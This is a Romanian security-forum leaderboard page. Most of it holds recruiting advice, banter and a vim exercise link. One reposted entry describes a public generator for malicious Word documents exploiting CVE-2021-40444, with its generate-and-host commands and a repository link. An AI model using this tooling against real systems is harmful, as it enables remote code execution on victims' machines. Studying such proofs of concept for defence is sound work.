Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 09/24/21 in all areas

  1. Buna, e foarte interesant topicul asa ca voi spune punctul meu de vedere. Nu am experienta in recrutare, dar am tinut sute de interviuri pe domeniul tehnic deci am o oarecare experienta cu acest proces + sunt cautat pentru foarte multe joburi si la 95% din ele nici macar nu raspund. Problema sta in felul urmator: - Un developer in Romania este foarte bine platit, mai ales unul bun cu experienta care lucreaza afara ia cu usurinta peste 5k euro. Daca tu ca recruiter abordezi un astfel de developer el te va ignora instant din 2 motive simple: 1. Comodidatea facea ca majoritatea sa nu caute ceva nou daca sunt multumiti de jobul curent 2. Daca salariul sau alte beneficii uber-mega-extra rentabile nu sunt enuntate in abordare cu siguranta mesajul nu ii va starni nici un interes, mai ales prin simplul fapt ca va fi unul din 200 (sau mai multe) De aceea, sfatul meu este urmatorul: Cel mai probabil, in functie de proiect/client se stie si bugetul. Incercati sa targetati oameni care sunt dispusi sa lucreze pentru suma de care dispuneti. Acest lucru este foarte important. Cu alte cuvinte vei avea mult mai multe sanse sa prinzi un om cu experienta putina dar foarte pasionat si talentat care ste dispus sa lucreze pentru sa zicem un 3k euro, decat unul care are deja pe undeva pe la 5k euro si nu il intereseaza nimic altceva. Ai putea sa vii cu un contraargument gen: Da, dar la firma noastra se lucreaza cu tehnologia X sau Y (nu-l intereseaza, poate sa o invete in max 1 sapt cu putin efort). Da, dar la firma noastra e o echipa foarte tanara si cool (foarte putin probabil sa-l intereseze, daca urmarea asa ceva era cu siguranta intr-un loc de genul deja deoarece vroia el sa fie, deci cauta el jobu sau arata interes mare pentru cei care deja l-au abordat). Si tot asa. Sincer este o perioada foarte ciudata. Intreaga piata de IT are nevoie de oameni, majoritatea sunt foarte pretentiosi deoarece cererea e enorma. Se merge din ce in ce mai mult pe lansare oamenilor in IT din diferite domenii, deoarece acestia sunt dispusi sa lucreze pe o suma mai mica timp de 2-3 ani, apoi sa se lanseze, gen sa dubleze sau tripleze veniturile prin simpla schimbare de job. La toate astea se adauga si pandemia, care a facut ca toti sa lucram de acasa, fapt care devine cerut din ce in ce mai mult de candidati. Sper sa te ajute acest feedback. Sunt curios ce spun si ceilalti useri. Multa bafta iti doresc mai departe si sper sa gasesti oameni faini
    2 points
  2. Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution) Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file) You need to install lcab first (sudo apt-get install lcab) Check REPRODUCE.md for manual reproduce steps If your generated cab is not working, try pointing out exploit.html URL to calc.cab Using First generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system() python3 exploit.py generate test/calc.dll http://<SRV IP> Once you generate the malicious docx (will be at out/) you can setup the server: sudo python3 exploit.py host 80 Finally try the docx in a Windows Virtual Machine: Download Link : https://github.com/lockedbyte/CVE-2021-40444
    1 point
  3. Ironic... Acum câteva zile ți-a zis cineva efevtiv de win+L... Of ce trece timpul
    1 point
  4. Da, si eu, dar alt user ... Ma uitam pe ceva "drama" din vremea aia http://hacking.3xforum.ro/post/4909/1/Kw3_R_Ln_pwned/ The memories ...
    1 point
  5. tu beai laptic cand iti fura pax prajiturile
    1 point
  6. Am experienta de 6 ani in IT si toata experienta mea este pe partea de Network Engineering, asa ca la developer nu stiu ce sfaturi as putea sa dau. Dar pot sa dau un sfat general valabil. Eu de fiecare data cand sunt sunat sa programez un interviu le zic "eu nu vin sub X lei, daca bugetul este sub, nu va mai pierdeti timpul nici voi si nici eu". De obicei, un itist isi da seama de ce salariu va primi urmaring doua lucruri: experienta lui si jd-ul. S-a intamplat sa iau si cu 50% mai mult decat am zis ca e suma minima? Da. Deci ca sa spui suma sub care nu accepti negociere nu inseamna ca acel salariu il doresti. Asa ca va sfatuiesc si pe voi sa fiti transparenti. Traim in 2021, salariul nu mai este un tabu. Nu neaparat suma pe care o oferiti dar bugetul pe care il aveti. Daca voi aveti un buget de 5.000 de euro si candidatul este junior, va sti si el ca nu va lua 5.000 de euro. Dar daca prindeti un senior si dupa 4 interviuri ii spuneti ca aveti un buget de 1.500 de euro, va scuipa in fata. Eu asa as face.
    1 point
  7. Daca vorbim de anunt, postat pe site sau pe LK, e un JD clasic cu responsabilitati, aptitudini si beneficii (in limita permisa, de obicei fara $$). Toate JD-urile sunt in limba engleza pentru ca sunt termeni tehnici care nu pot fi tradusi, si Romgleza nu da bine deloc. Mesajele trimise pentru posibili candidati au cam aceeasi structura: Buna X, ma prezint in max 2 randuri si ii spun omului ce caut, de ex, Java dev cu aia si aia. Daca e ceva inetersant, mentionez: posibilitate de PFA, beneficii interesante (de ex 28 de zile de concediu), adaug si un link si apoi il intreb pe om daca e de interes pentru el, ma semnez si astept.
    1 point
  8. O chestie care pe mine ma respinge din start sunt JD-urile scrise in engleza. Am primit chiar si pe linkedin mesaje de la recruiteri care incepeau in romana (buna, cautam un coleg pentru bla bla) apoi imi dadeau copy paste la JD in engleza. Firma 100% romaneasca, JD in engleza. Instant turnoff.
    1 point
  9. Che, gandeste-te la asta: Tu cum profiti din site-ul tau? Daca ceri bani pentru un abonament/utilizare/etc. atunci iti permiti din profit sa inchiriezi niste servere. (flexible cloud, platesti cat consumi) Daca vrei sa dai site-ul la liber, sa-l foloseasca toata lumea gratis. Atunci fa-l open source ca sa fie 100% liber si gratuit. Sau tu vrei si gratis si cu plata? si secret si open source?
    1 point
  10. Practice your vim skills with these fun exercises. Learn to use vim Vim is a powerful text editor that can make you more productive and efficient. Easy Exercises Once you get the hang of it, you’ll wonder how you ever lived without it. Super Powers Increase Productivity. You can use vim mode inside the terminal, SSH, Jetbrains IDE, Visual Studio Code and many more Link: https://vim.is/#exercise Via google
    1 point
  11. Off:/ nu am citit tot Bun si, daca vin si iti dau un win + L si nu stii sa te loghezi, ce faci tu ca angajator?
    0 points
×
×
  • Create New...